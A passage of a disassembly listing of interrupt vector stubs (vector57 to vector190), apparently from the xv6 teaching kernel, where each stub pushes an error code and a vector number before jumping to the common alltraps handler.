8010727a: e9 8d f7 ff ff jmp 80106a0c <alltraps>
8010727f <vector57>:
.globl vector57
vector57:
pushl $0
8010727f: 6a 00 push $0x0
pushl $57
80107281: 6a 39 push $0x39
jmp alltraps
80107283: e9 84 f7 ff ff jmp 80106a0c <alltraps>
80107288 <vector58>:
.globl vector58
vector58:
pushl $0
80107288: 6a 00 push $0x0
pushl $58
8010728a: 6a 3a push $0x3a
jmp alltraps
8010728c: e9 7b f7 ff ff jmp 80106a0c <alltraps>
80107291 <vector59>:
.globl vector59
vector59:
pushl $0
80107291: 6a 00 push $0x0
pushl $59
80107293: 6a 3b push $0x3b
jmp alltraps
80107295: e9 72 f7 ff ff jmp 80106a0c <alltraps>
8010729a <vector60>:
.globl vector60
vector60:
pushl $0
8010729a: 6a 00 push $0x0
pushl $60
8010729c: 6a 3c push $0x3c
jmp alltraps
8010729e: e9 69 f7 ff ff jmp 80106a0c <alltraps>
801072a3 <vector61>:
.globl vector61
vector61:
pushl $0
801072a3: 6a 00 push $0x0
pushl $61
801072a5: 6a 3d push $0x3d
jmp alltraps
801072a7: e9 60 f7 ff ff jmp 80106a0c <alltraps>
801072ac <vector62>:
.globl vector62
vector62:
pushl $0
801072ac: 6a 00 push $0x0
pushl $62
801072ae: 6a 3e push $0x3e
jmp alltraps
801072b0: e9 57 f7 ff ff jmp 80106a0c <alltraps>
801072b5 <vector63>:
.globl vector63
vector63:
pushl $0
801072b5: 6a 00 push $0x0
pushl $63
801072b7: 6a 3f push $0x3f
jmp alltraps
801072b9: e9 4e f7 ff ff jmp 80106a0c <alltraps>
801072be <vector64>:
.globl vector64
vector64:
pushl $0
801072be: 6a 00 push $0x0
pushl $64
801072c0: 6a 40 push $0x40
jmp alltraps
801072c2: e9 45 f7 ff ff jmp 80106a0c <alltraps>
801072c7 <vector65>:
.globl vector65
vector65:
pushl $0
801072c7: 6a 00 push $0x0
pushl $65
801072c9: 6a 41 push $0x41
jmp alltraps
801072cb: e9 3c f7 ff ff jmp 80106a0c <alltraps>
801072d0 <vector66>:
.globl vector66
vector66:
pushl $0
801072d0: 6a 00 push $0x0
pushl $66
801072d2: 6a 42 push $0x42
jmp alltraps
801072d4: e9 33 f7 ff ff jmp 80106a0c <alltraps>
801072d9 <vector67>:
.globl vector67
vector67:
pushl $0
801072d9: 6a 00 push $0x0
pushl $67
801072db: 6a 43 push $0x43
jmp alltraps
801072dd: e9 2a f7 ff ff jmp 80106a0c <alltraps>
801072e2 <vector68>:
.globl vector68
vector68:
pushl $0
801072e2: 6a 00 push $0x0
pushl $68
801072e4: 6a 44 push $0x44
jmp alltraps
801072e6: e9 21 f7 ff ff jmp 80106a0c <alltraps>
801072eb <vector69>:
.globl vector69
vector69:
pushl $0
801072eb: 6a 00 push $0x0
pushl $69
801072ed: 6a 45 push $0x45
jmp alltraps
801072ef: e9 18 f7 ff ff jmp 80106a0c <alltraps>
801072f4 <vector70>:
.globl vector70
vector70:
pushl $0
801072f4: 6a 00 push $0x0
pushl $70
801072f6: 6a 46 push $0x46
jmp alltraps
801072f8: e9 0f f7 ff ff jmp 80106a0c <alltraps>
801072fd <vector71>:
.globl vector71
vector71:
pushl $0
801072fd: 6a 00 push $0x0
pushl $71
801072ff: 6a 47 push $0x47
jmp alltraps
80107301: e9 06 f7 ff ff jmp 80106a0c <alltraps>
80107306 <vector72>:
.globl vector72
vector72:
pushl $0
80107306: 6a 00 push $0x0
pushl $72
80107308: 6a 48 push $0x48
jmp alltraps
8010730a: e9 fd f6 ff ff jmp 80106a0c <alltraps>
8010730f <vector73>:
.globl vector73
vector73:
pushl $0
8010730f: 6a 00 push $0x0
pushl $73
80107311: 6a 49 push $0x49
jmp alltraps
80107313: e9 f4 f6 ff ff jmp 80106a0c <alltraps>
80107318 <vector74>:
.globl vector74
vector74:
pushl $0
80107318: 6a 00 push $0x0
pushl $74
8010731a: 6a 4a push $0x4a
jmp alltraps
8010731c: e9 eb f6 ff ff jmp 80106a0c <alltraps>
80107321 <vector75>:
.globl vector75
vector75:
pushl $0
80107321: 6a 00 push $0x0
pushl $75
80107323: 6a 4b push $0x4b
jmp alltraps
80107325: e9 e2 f6 ff ff jmp 80106a0c <alltraps>
8010732a <vector76>:
.globl vector76
vector76:
pushl $0
8010732a: 6a 00 push $0x0
pushl $76
8010732c: 6a 4c push $0x4c
jmp alltraps
8010732e: e9 d9 f6 ff ff jmp 80106a0c <alltraps>
80107333 <vector77>:
.globl vector77
vector77:
pushl $0
80107333: 6a 00 push $0x0
pushl $77
80107335: 6a 4d push $0x4d
jmp alltraps
80107337: e9 d0 f6 ff ff jmp 80106a0c <alltraps>
8010733c <vector78>:
.globl vector78
vector78:
pushl $0
8010733c: 6a 00 push $0x0
pushl $78
8010733e: 6a 4e push $0x4e
jmp alltraps
80107340: e9 c7 f6 ff ff jmp 80106a0c <alltraps>
80107345 <vector79>:
.globl vector79
vector79:
pushl $0
80107345: 6a 00 push $0x0
pushl $79
80107347: 6a 4f push $0x4f
jmp alltraps
80107349: e9 be f6 ff ff jmp 80106a0c <alltraps>
8010734e <vector80>:
.globl vector80
vector80:
pushl $0
8010734e: 6a 00 push $0x0
pushl $80
80107350: 6a 50 push $0x50
jmp alltraps
80107352: e9 b5 f6 ff ff jmp 80106a0c <alltraps>
80107357 <vector81>:
.globl vector81
vector81:
pushl $0
80107357: 6a 00 push $0x0
pushl $81
80107359: 6a 51 push $0x51
jmp alltraps
8010735b: e9 ac f6 ff ff jmp 80106a0c <alltraps>
80107360 <vector82>:
.globl vector82
vector82:
pushl $0
80107360: 6a 00 push $0x0
pushl $82
80107362: 6a 52 push $0x52
jmp alltraps
80107364: e9 a3 f6 ff ff jmp 80106a0c <alltraps>
80107369 <vector83>:
.globl vector83
vector83:
pushl $0
80107369: 6a 00 push $0x0
pushl $83
8010736b: 6a 53 push $0x53
jmp alltraps
8010736d: e9 9a f6 ff ff jmp 80106a0c <alltraps>
80107372 <vector84>:
.globl vector84
vector84:
pushl $0
80107372: 6a 00 push $0x0
pushl $84
80107374: 6a 54 push $0x54
jmp alltraps
80107376: e9 91 f6 ff ff jmp 80106a0c <alltraps>
8010737b <vector85>:
.globl vector85
vector85:
pushl $0
8010737b: 6a 00 push $0x0
pushl $85
8010737d: 6a 55 push $0x55
jmp alltraps
8010737f: e9 88 f6 ff ff jmp 80106a0c <alltraps>
80107384 <vector86>:
.globl vector86
vector86:
pushl $0
80107384: 6a 00 push $0x0
pushl $86
80107386: 6a 56 push $0x56
jmp alltraps
80107388: e9 7f f6 ff ff jmp 80106a0c <alltraps>
8010738d <vector87>:
.globl vector87
vector87:
pushl $0
8010738d: 6a 00 push $0x0
pushl $87
8010738f: 6a 57 push $0x57
jmp alltraps
80107391: e9 76 f6 ff ff jmp 80106a0c <alltraps>
80107396 <vector88>:
.globl vector88
vector88:
pushl $0
80107396: 6a 00 push $0x0
pushl $88
80107398: 6a 58 push $0x58
jmp alltraps
8010739a: e9 6d f6 ff ff jmp 80106a0c <alltraps>
8010739f <vector89>:
.globl vector89
vector89:
pushl $0
8010739f: 6a 00 push $0x0
pushl $89
801073a1: 6a 59 push $0x59
jmp alltraps
801073a3: e9 64 f6 ff ff jmp 80106a0c <alltraps>
801073a8 <vector90>:
.globl vector90
vector90:
pushl $0
801073a8: 6a 00 push $0x0
pushl $90
801073aa: 6a 5a push $0x5a
jmp alltraps
801073ac: e9 5b f6 ff ff jmp 80106a0c <alltraps>
801073b1 <vector91>:
.globl vector91
vector91:
pushl $0
801073b1: 6a 00 push $0x0
pushl $91
801073b3: 6a 5b push $0x5b
jmp alltraps
801073b5: e9 52 f6 ff ff jmp 80106a0c <alltraps>
801073ba <vector92>:
.globl vector92
vector92:
pushl $0
801073ba: 6a 00 push $0x0
pushl $92
801073bc: 6a 5c push $0x5c
jmp alltraps
801073be: e9 49 f6 ff ff jmp 80106a0c <alltraps>
801073c3 <vector93>:
.globl vector93
vector93:
pushl $0
801073c3: 6a 00 push $0x0
pushl $93
801073c5: 6a 5d push $0x5d
jmp alltraps
801073c7: e9 40 f6 ff ff jmp 80106a0c <alltraps>
801073cc <vector94>:
.globl vector94
vector94:
pushl $0
801073cc: 6a 00 push $0x0
pushl $94
801073ce: 6a 5e push $0x5e
jmp alltraps
801073d0: e9 37 f6 ff ff jmp 80106a0c <alltraps>
801073d5 <vector95>:
.globl vector95
vector95:
pushl $0
801073d5: 6a 00 push $0x0
pushl $95
801073d7: 6a 5f push $0x5f
jmp alltraps
801073d9: e9 2e f6 ff ff jmp 80106a0c <alltraps>
801073de <vector96>:
.globl vector96
vector96:
pushl $0
801073de: 6a 00 push $0x0
pushl $96
801073e0: 6a 60 push $0x60
jmp alltraps
801073e2: e9 25 f6 ff ff jmp 80106a0c <alltraps>
801073e7 <vector97>:
.globl vector97
vector97:
pushl $0
801073e7: 6a 00 push $0x0
pushl $97
801073e9: 6a 61 push $0x61
jmp alltraps
801073eb: e9 1c f6 ff ff jmp 80106a0c <alltraps>
801073f0 <vector98>:
.globl vector98
vector98:
pushl $0
801073f0: 6a 00 push $0x0
pushl $98
801073f2: 6a 62 push $0x62
jmp alltraps
801073f4: e9 13 f6 ff ff jmp 80106a0c <alltraps>
801073f9 <vector99>:
.globl vector99
vector99:
pushl $0
801073f9: 6a 00 push $0x0
pushl $99
801073fb: 6a 63 push $0x63
jmp alltraps
801073fd: e9 0a f6 ff ff jmp 80106a0c <alltraps>
80107402 <vector100>:
.globl vector100
vector100:
pushl $0
80107402: 6a 00 push $0x0
pushl $100
80107404: 6a 64 push $0x64
jmp alltraps
80107406: e9 01 f6 ff ff jmp 80106a0c <alltraps>
8010740b <vector101>:
.globl vector101
vector101:
pushl $0
8010740b: 6a 00 push $0x0
pushl $101
8010740d: 6a 65 push $0x65
jmp alltraps
8010740f: e9 f8 f5 ff ff jmp 80106a0c <alltraps>
80107414 <vector102>:
.globl vector102
vector102:
pushl $0
80107414: 6a 00 push $0x0
pushl $102
80107416: 6a 66 push $0x66
jmp alltraps
80107418: e9 ef f5 ff ff jmp 80106a0c <alltraps>
8010741d <vector103>:
.globl vector103
vector103:
pushl $0
8010741d: 6a 00 push $0x0
pushl $103
8010741f: 6a 67 push $0x67
jmp alltraps
80107421: e9 e6 f5 ff ff jmp 80106a0c <alltraps>
80107426 <vector104>:
.globl vector104
vector104:
pushl $0
80107426: 6a 00 push $0x0
pushl $104
80107428: 6a 68 push $0x68
jmp alltraps
8010742a: e9 dd f5 ff ff jmp 80106a0c <alltraps>
8010742f <vector105>:
.globl vector105
vector105:
pushl $0
8010742f: 6a 00 push $0x0
pushl $105
80107431: 6a 69 push $0x69
jmp alltraps
80107433: e9 d4 f5 ff ff jmp 80106a0c <alltraps>
80107438 <vector106>:
.globl vector106
vector106:
pushl $0
80107438: 6a 00 push $0x0
pushl $106
8010743a: 6a 6a push $0x6a
jmp alltraps
8010743c: e9 cb f5 ff ff jmp 80106a0c <alltraps>
80107441 <vector107>:
.globl vector107
vector107:
pushl $0
80107441: 6a 00 push $0x0
pushl $107
80107443: 6a 6b push $0x6b
jmp alltraps
80107445: e9 c2 f5 ff ff jmp 80106a0c <alltraps>
8010744a <vector108>:
.globl vector108
vector108:
pushl $0
8010744a: 6a 00 push $0x0
pushl $108
8010744c: 6a 6c push $0x6c
jmp alltraps
8010744e: e9 b9 f5 ff ff jmp 80106a0c <alltraps>
80107453 <vector109>:
.globl vector109
vector109:
pushl $0
80107453: 6a 00 push $0x0
pushl $109
80107455: 6a 6d push $0x6d
jmp alltraps
80107457: e9 b0 f5 ff ff jmp 80106a0c <alltraps>
8010745c <vector110>:
.globl vector110
vector110:
pushl $0
8010745c: 6a 00 push $0x0
pushl $110
8010745e: 6a 6e push $0x6e
jmp alltraps
80107460: e9 a7 f5 ff ff jmp 80106a0c <alltraps>
80107465 <vector111>:
.globl vector111
vector111:
pushl $0
80107465: 6a 00 push $0x0
pushl $111
80107467: 6a 6f push $0x6f
jmp alltraps
80107469: e9 9e f5 ff ff jmp 80106a0c <alltraps>
8010746e <vector112>:
.globl vector112
vector112:
pushl $0
8010746e: 6a 00 push $0x0
pushl $112
80107470: 6a 70 push $0x70
jmp alltraps
80107472: e9 95 f5 ff ff jmp 80106a0c <alltraps>
80107477 <vector113>:
.globl vector113
vector113:
pushl $0
80107477: 6a 00 push $0x0
pushl $113
80107479: 6a 71 push $0x71
jmp alltraps
8010747b: e9 8c f5 ff ff jmp 80106a0c <alltraps>
80107480 <vector114>:
.globl vector114
vector114:
pushl $0
80107480: 6a 00 push $0x0
pushl $114
80107482: 6a 72 push $0x72
jmp alltraps
80107484: e9 83 f5 ff ff jmp 80106a0c <alltraps>
80107489 <vector115>:
.globl vector115
vector115:
pushl $0
80107489: 6a 00 push $0x0
pushl $115
8010748b: 6a 73 push $0x73
jmp alltraps
8010748d: e9 7a f5 ff ff jmp 80106a0c <alltraps>
80107492 <vector116>:
.globl vector116
vector116:
pushl $0
80107492: 6a 00 push $0x0
pushl $116
80107494: 6a 74 push $0x74
jmp alltraps
80107496: e9 71 f5 ff ff jmp 80106a0c <alltraps>
8010749b <vector117>:
.globl vector117
vector117:
pushl $0
8010749b: 6a 00 push $0x0
pushl $117
8010749d: 6a 75 push $0x75
jmp alltraps
8010749f: e9 68 f5 ff ff jmp 80106a0c <alltraps>
801074a4 <vector118>:
.globl vector118
vector118:
pushl $0
801074a4: 6a 00 push $0x0
pushl $118
801074a6: 6a 76 push $0x76
jmp alltraps
801074a8: e9 5f f5 ff ff jmp 80106a0c <alltraps>
801074ad <vector119>:
.globl vector119
vector119:
pushl $0
801074ad: 6a 00 push $0x0
pushl $119
801074af: 6a 77 push $0x77
jmp alltraps
801074b1: e9 56 f5 ff ff jmp 80106a0c <alltraps>
801074b6 <vector120>:
.globl vector120
vector120:
pushl $0
801074b6: 6a 00 push $0x0
pushl $120
801074b8: 6a 78 push $0x78
jmp alltraps
801074ba: e9 4d f5 ff ff jmp 80106a0c <alltraps>
801074bf <vector121>:
.globl vector121
vector121:
pushl $0
801074bf: 6a 00 push $0x0
pushl $121
801074c1: 6a 79 push $0x79
jmp alltraps
801074c3: e9 44 f5 ff ff jmp 80106a0c <alltraps>
801074c8 <vector122>:
.globl vector122
vector122:
pushl $0
801074c8: 6a 00 push $0x0
pushl $122
801074ca: 6a 7a push $0x7a
jmp alltraps
801074cc: e9 3b f5 ff ff jmp 80106a0c <alltraps>
801074d1 <vector123>:
.globl vector123
vector123:
pushl $0
801074d1: 6a 00 push $0x0
pushl $123
801074d3: 6a 7b push $0x7b
jmp alltraps
801074d5: e9 32 f5 ff ff jmp 80106a0c <alltraps>
801074da <vector124>:
.globl vector124
vector124:
pushl $0
801074da: 6a 00 push $0x0
pushl $124
801074dc: 6a 7c push $0x7c
jmp alltraps
801074de: e9 29 f5 ff ff jmp 80106a0c <alltraps>
801074e3 <vector125>:
.globl vector125
vector125:
pushl $0
801074e3: 6a 00 push $0x0
pushl $125
801074e5: 6a 7d push $0x7d
jmp alltraps
801074e7: e9 20 f5 ff ff jmp 80106a0c <alltraps>
801074ec <vector126>:
.globl vector126
vector126:
pushl $0
801074ec: 6a 00 push $0x0
pushl $126
801074ee: 6a 7e push $0x7e
jmp alltraps
801074f0: e9 17 f5 ff ff jmp 80106a0c <alltraps>
801074f5 <vector127>:
.globl vector127
vector127:
pushl $0
801074f5: 6a 00 push $0x0
pushl $127
801074f7: 6a 7f push $0x7f
jmp alltraps
801074f9: e9 0e f5 ff ff jmp 80106a0c <alltraps>
801074fe <vector128>:
.globl vector128
vector128:
pushl $0
801074fe: 6a 00 push $0x0
pushl $128
80107500: 68 80 00 00 00 push $0x80
jmp alltraps
80107505: e9 02 f5 ff ff jmp 80106a0c <alltraps>
8010750a <vector129>:
.globl vector129
vector129:
pushl $0
8010750a: 6a 00 push $0x0
pushl $129
8010750c: 68 81 00 00 00 push $0x81
jmp alltraps
80107511: e9 f6 f4 ff ff jmp 80106a0c <alltraps>
80107516 <vector130>:
.globl vector130
vector130:
pushl $0
80107516: 6a 00 push $0x0
pushl $130
80107518: 68 82 00 00 00 push $0x82
jmp alltraps
8010751d: e9 ea f4 ff ff jmp 80106a0c <alltraps>
80107522 <vector131>:
.globl vector131
vector131:
pushl $0
80107522: 6a 00 push $0x0
pushl $131
80107524: 68 83 00 00 00 push $0x83
jmp alltraps
80107529: e9 de f4 ff ff jmp 80106a0c <alltraps>
8010752e <vector132>:
.globl vector132
vector132:
pushl $0
8010752e: 6a 00 push $0x0
pushl $132
80107530: 68 84 00 00 00 push $0x84
jmp alltraps
80107535: e9 d2 f4 ff ff jmp 80106a0c <alltraps>
8010753a <vector133>:
.globl vector133
vector133:
pushl $0
8010753a: 6a 00 push $0x0
pushl $133
8010753c: 68 85 00 00 00 push $0x85
jmp alltraps
80107541: e9 c6 f4 ff ff jmp 80106a0c <alltraps>
80107546 <vector134>:
.globl vector134
vector134:
pushl $0
80107546: 6a 00 push $0x0
pushl $134
80107548: 68 86 00 00 00 push $0x86
jmp alltraps
8010754d: e9 ba f4 ff ff jmp 80106a0c <alltraps>
80107552 <vector135>:
.globl vector135
vector135:
pushl $0
80107552: 6a 00 push $0x0
pushl $135
80107554: 68 87 00 00 00 push $0x87
jmp alltraps
80107559: e9 ae f4 ff ff jmp 80106a0c <alltraps>
8010755e <vector136>:
.globl vector136
vector136:
pushl $0
8010755e: 6a 00 push $0x0
pushl $136
80107560: 68 88 00 00 00 push $0x88
jmp alltraps
80107565: e9 a2 f4 ff ff jmp 80106a0c <alltraps>
8010756a <vector137>:
.globl vector137
vector137:
pushl $0
8010756a: 6a 00 push $0x0
pushl $137
8010756c: 68 89 00 00 00 push $0x89
jmp alltraps
80107571: e9 96 f4 ff ff jmp 80106a0c <alltraps>
80107576 <vector138>:
.globl vector138
vector138:
pushl $0
80107576: 6a 00 push $0x0
pushl $138
80107578: 68 8a 00 00 00 push $0x8a
jmp alltraps
8010757d: e9 8a f4 ff ff jmp 80106a0c <alltraps>
80107582 <vector139>:
.globl vector139
vector139:
pushl $0
80107582: 6a 00 push $0x0
pushl $139
80107584: 68 8b 00 00 00 push $0x8b
jmp alltraps
80107589: e9 7e f4 ff ff jmp 80106a0c <alltraps>
8010758e <vector140>:
.globl vector140
vector140:
pushl $0
8010758e: 6a 00 push $0x0
pushl $140
80107590: 68 8c 00 00 00 push $0x8c
jmp alltraps
80107595: e9 72 f4 ff ff jmp 80106a0c <alltraps>
8010759a <vector141>:
.globl vector141
vector141:
pushl $0
8010759a: 6a 00 push $0x0
pushl $141
8010759c: 68 8d 00 00 00 push $0x8d
jmp alltraps
801075a1: e9 66 f4 ff ff jmp 80106a0c <alltraps>
801075a6 <vector142>:
.globl vector142
vector142:
pushl $0
801075a6: 6a 00 push $0x0
pushl $142
801075a8: 68 8e 00 00 00 push $0x8e
jmp alltraps
801075ad: e9 5a f4 ff ff jmp 80106a0c <alltraps>
801075b2 <vector143>:
.globl vector143
vector143:
pushl $0
801075b2: 6a 00 push $0x0
pushl $143
801075b4: 68 8f 00 00 00 push $0x8f
jmp alltraps
801075b9: e9 4e f4 ff ff jmp 80106a0c <alltraps>
801075be <vector144>:
.globl vector144
vector144:
pushl $0
801075be: 6a 00 push $0x0
pushl $144
801075c0: 68 90 00 00 00 push $0x90
jmp alltraps
801075c5: e9 42 f4 ff ff jmp 80106a0c <alltraps>
801075ca <vector145>:
.globl vector145
vector145:
pushl $0
801075ca: 6a 00 push $0x0
pushl $145
801075cc: 68 91 00 00 00 push $0x91
jmp alltraps
801075d1: e9 36 f4 ff ff jmp 80106a0c <alltraps>
801075d6 <vector146>:
.globl vector146
vector146:
pushl $0
801075d6: 6a 00 push $0x0
pushl $146
801075d8: 68 92 00 00 00 push $0x92
jmp alltraps
801075dd: e9 2a f4 ff ff jmp 80106a0c <alltraps>
801075e2 <vector147>:
.globl vector147
vector147:
pushl $0
801075e2: 6a 00 push $0x0
pushl $147
801075e4: 68 93 00 00 00 push $0x93
jmp alltraps
801075e9: e9 1e f4 ff ff jmp 80106a0c <alltraps>
801075ee <vector148>:
.globl vector148
vector148:
pushl $0
801075ee: 6a 00 push $0x0
pushl $148
801075f0: 68 94 00 00 00 push $0x94
jmp alltraps
801075f5: e9 12 f4 ff ff jmp 80106a0c <alltraps>
801075fa <vector149>:
.globl vector149
vector149:
pushl $0
801075fa: 6a 00 push $0x0
pushl $149
801075fc: 68 95 00 00 00 push $0x95
jmp alltraps
80107601: e9 06 f4 ff ff jmp 80106a0c <alltraps>
80107606 <vector150>:
.globl vector150
vector150:
pushl $0
80107606: 6a 00 push $0x0
pushl $150
80107608: 68 96 00 00 00 push $0x96
jmp alltraps
8010760d: e9 fa f3 ff ff jmp 80106a0c <alltraps>
80107612 <vector151>:
.globl vector151
vector151:
pushl $0
80107612: 6a 00 push $0x0
pushl $151
80107614: 68 97 00 00 00 push $0x97
jmp alltraps
80107619: e9 ee f3 ff ff jmp 80106a0c <alltraps>
8010761e <vector152>:
.globl vector152
vector152:
pushl $0
8010761e: 6a 00 push $0x0
pushl $152
80107620: 68 98 00 00 00 push $0x98
jmp alltraps
80107625: e9 e2 f3 ff ff jmp 80106a0c <alltraps>
8010762a <vector153>:
.globl vector153
vector153:
pushl $0
8010762a: 6a 00 push $0x0
pushl $153
8010762c: 68 99 00 00 00 push $0x99
jmp alltraps
80107631: e9 d6 f3 ff ff jmp 80106a0c <alltraps>
80107636 <vector154>:
.globl vector154
vector154:
pushl $0
80107636: 6a 00 push $0x0
pushl $154
80107638: 68 9a 00 00 00 push $0x9a
jmp alltraps
8010763d: e9 ca f3 ff ff jmp 80106a0c <alltraps>
80107642 <vector155>:
.globl vector155
vector155:
pushl $0
80107642: 6a 00 push $0x0
pushl $155
80107644: 68 9b 00 00 00 push $0x9b
jmp alltraps
80107649: e9 be f3 ff ff jmp 80106a0c <alltraps>
8010764e <vector156>:
.globl vector156
vector156:
pushl $0
8010764e: 6a 00 push $0x0
pushl $156
80107650: 68 9c 00 00 00 push $0x9c
jmp alltraps
80107655: e9 b2 f3 ff ff jmp 80106a0c <alltraps>
8010765a <vector157>:
.globl vector157
vector157:
pushl $0
8010765a: 6a 00 push $0x0
pushl $157
8010765c: 68 9d 00 00 00 push $0x9d
jmp alltraps
80107661: e9 a6 f3 ff ff jmp 80106a0c <alltraps>
80107666 <vector158>:
.globl vector158
vector158:
pushl $0
80107666: 6a 00 push $0x0
pushl $158
80107668: 68 9e 00 00 00 push $0x9e
jmp alltraps
8010766d: e9 9a f3 ff ff jmp 80106a0c <alltraps>
80107672 <vector159>:
.globl vector159
vector159:
pushl $0
80107672: 6a 00 push $0x0
pushl $159
80107674: 68 9f 00 00 00 push $0x9f
jmp alltraps
80107679: e9 8e f3 ff ff jmp 80106a0c <alltraps>
8010767e <vector160>:
.globl vector160
vector160:
pushl $0
8010767e: 6a 00 push $0x0
pushl $160
80107680: 68 a0 00 00 00 push $0xa0
jmp alltraps
80107685: e9 82 f3 ff ff jmp 80106a0c <alltraps>
8010768a <vector161>:
.globl vector161
vector161:
pushl $0
8010768a: 6a 00 push $0x0
pushl $161
8010768c: 68 a1 00 00 00 push $0xa1
jmp alltraps
80107691: e9 76 f3 ff ff jmp 80106a0c <alltraps>
80107696 <vector162>:
.globl vector162
vector162:
pushl $0
80107696: 6a 00 push $0x0
pushl $162
80107698: 68 a2 00 00 00 push $0xa2
jmp alltraps
8010769d: e9 6a f3 ff ff jmp 80106a0c <alltraps>
801076a2 <vector163>:
.globl vector163
vector163:
pushl $0
801076a2: 6a 00 push $0x0
pushl $163
801076a4: 68 a3 00 00 00 push $0xa3
jmp alltraps
801076a9: e9 5e f3 ff ff jmp 80106a0c <alltraps>
801076ae <vector164>:
.globl vector164
vector164:
pushl $0
801076ae: 6a 00 push $0x0
pushl $164
801076b0: 68 a4 00 00 00 push $0xa4
jmp alltraps
801076b5: e9 52 f3 ff ff jmp 80106a0c <alltraps>
801076ba <vector165>:
.globl vector165
vector165:
pushl $0
801076ba: 6a 00 push $0x0
pushl $165
801076bc: 68 a5 00 00 00 push $0xa5
jmp alltraps
801076c1: e9 46 f3 ff ff jmp 80106a0c <alltraps>
801076c6 <vector166>:
.globl vector166
vector166:
pushl $0
801076c6: 6a 00 push $0x0
pushl $166
801076c8: 68 a6 00 00 00 push $0xa6
jmp alltraps
801076cd: e9 3a f3 ff ff jmp 80106a0c <alltraps>
801076d2 <vector167>:
.globl vector167
vector167:
pushl $0
801076d2: 6a 00 push $0x0
pushl $167
801076d4: 68 a7 00 00 00 push $0xa7
jmp alltraps
801076d9: e9 2e f3 ff ff jmp 80106a0c <alltraps>
801076de <vector168>:
.globl vector168
vector168:
pushl $0
801076de: 6a 00 push $0x0
pushl $168
801076e0: 68 a8 00 00 00 push $0xa8
jmp alltraps
801076e5: e9 22 f3 ff ff jmp 80106a0c <alltraps>
801076ea <vector169>:
.globl vector169
vector169:
pushl $0
801076ea: 6a 00 push $0x0
pushl $169
801076ec: 68 a9 00 00 00 push $0xa9
jmp alltraps
801076f1: e9 16 f3 ff ff jmp 80106a0c <alltraps>
801076f6 <vector170>:
.globl vector170
vector170:
pushl $0
801076f6: 6a 00 push $0x0
pushl $170
801076f8: 68 aa 00 00 00 push $0xaa
jmp alltraps
801076fd: e9 0a f3 ff ff jmp 80106a0c <alltraps>
80107702 <vector171>:
.globl vector171
vector171:
pushl $0
80107702: 6a 00 push $0x0
pushl $171
80107704: 68 ab 00 00 00 push $0xab
jmp alltraps
80107709: e9 fe f2 ff ff jmp 80106a0c <alltraps>
8010770e <vector172>:
.globl vector172
vector172:
pushl $0
8010770e: 6a 00 push $0x0
pushl $172
80107710: 68 ac 00 00 00 push $0xac
jmp alltraps
80107715: e9 f2 f2 ff ff jmp 80106a0c <alltraps>
8010771a <vector173>:
.globl vector173
vector173:
pushl $0
8010771a: 6a 00 push $0x0
pushl $173
8010771c: 68 ad 00 00 00 push $0xad
jmp alltraps
80107721: e9 e6 f2 ff ff jmp 80106a0c <alltraps>
80107726 <vector174>:
.globl vector174
vector174:
pushl $0
80107726: 6a 00 push $0x0
pushl $174
80107728: 68 ae 00 00 00 push $0xae
jmp alltraps
8010772d: e9 da f2 ff ff jmp 80106a0c <alltraps>
80107732 <vector175>:
.globl vector175
vector175:
pushl $0
80107732: 6a 00 push $0x0
pushl $175
80107734: 68 af 00 00 00 push $0xaf
jmp alltraps
80107739: e9 ce f2 ff ff jmp 80106a0c <alltraps>
8010773e <vector176>:
.globl vector176
vector176:
pushl $0
8010773e: 6a 00 push $0x0
pushl $176
80107740: 68 b0 00 00 00 push $0xb0
jmp alltraps
80107745: e9 c2 f2 ff ff jmp 80106a0c <alltraps>
8010774a <vector177>:
.globl vector177
vector177:
pushl $0
8010774a: 6a 00 push $0x0
pushl $177
8010774c: 68 b1 00 00 00 push $0xb1
jmp alltraps
80107751: e9 b6 f2 ff ff jmp 80106a0c <alltraps>
80107756 <vector178>:
.globl vector178
vector178:
pushl $0
80107756: 6a 00 push $0x0
pushl $178
80107758: 68 b2 00 00 00 push $0xb2
jmp alltraps
8010775d: e9 aa f2 ff ff jmp 80106a0c <alltraps>
80107762 <vector179>:
.globl vector179
vector179:
pushl $0
80107762: 6a 00 push $0x0
pushl $179
80107764: 68 b3 00 00 00 push $0xb3
jmp alltraps
80107769: e9 9e f2 ff ff jmp 80106a0c <alltraps>
8010776e <vector180>:
.globl vector180
vector180:
pushl $0
8010776e: 6a 00 push $0x0
pushl $180
80107770: 68 b4 00 00 00 push $0xb4
jmp alltraps
80107775: e9 92 f2 ff ff jmp 80106a0c <alltraps>
8010777a <vector181>:
.globl vector181
vector181:
pushl $0
8010777a: 6a 00 push $0x0
pushl $181
8010777c: 68 b5 00 00 00 push $0xb5
jmp alltraps
80107781: e9 86 f2 ff ff jmp 80106a0c <alltraps>
80107786 <vector182>:
.globl vector182
vector182:
pushl $0
80107786: 6a 00 push $0x0
pushl $182
80107788: 68 b6 00 00 00 push $0xb6
jmp alltraps
8010778d: e9 7a f2 ff ff jmp 80106a0c <alltraps>
80107792 <vector183>:
.globl vector183
vector183:
pushl $0
80107792: 6a 00 push $0x0
pushl $183
80107794: 68 b7 00 00 00 push $0xb7
jmp alltraps
80107799: e9 6e f2 ff ff jmp 80106a0c <alltraps>
8010779e <vector184>:
.globl vector184
vector184:
pushl $0
8010779e: 6a 00 push $0x0
pushl $184
801077a0: 68 b8 00 00 00 push $0xb8
jmp alltraps
801077a5: e9 62 f2 ff ff jmp 80106a0c <alltraps>
801077aa <vector185>:
.globl vector185
vector185:
pushl $0
801077aa: 6a 00 push $0x0
pushl $185
801077ac: 68 b9 00 00 00 push $0xb9
jmp alltraps
801077b1: e9 56 f2 ff ff jmp 80106a0c <alltraps>
801077b6 <vector186>:
.globl vector186
vector186:
pushl $0
801077b6: 6a 00 push $0x0
pushl $186
801077b8: 68 ba 00 00 00 push $0xba
jmp alltraps
801077bd: e9 4a f2 ff ff jmp 80106a0c <alltraps>
801077c2 <vector187>:
.globl vector187
vector187:
pushl $0
801077c2: 6a 00 push $0x0
pushl $187
801077c4: 68 bb 00 00 00 push $0xbb
jmp alltraps
801077c9: e9 3e f2 ff ff jmp 80106a0c <alltraps>
801077ce <vector188>:
.globl vector188
vector188:
pushl $0
801077ce: 6a 00 push $0x0
pushl $188
801077d0: 68 bc 00 00 00 push $0xbc
jmp alltraps
801077d5: e9 32 f2 ff ff jmp 80106a0c <alltraps>
801077da <vector189>:
.globl vector189
vector189:
pushl $0
801077da: 6a 00 push $0x0
pushl $189
801077dc: 68 bd 00 00 00 push $0xbd
jmp alltraps
801077e1: e9 26 f2 ff ff jmp 80106a0c <alltraps>
801077e6 <vector190>:
.globl vector190
vector190:
pushl $0
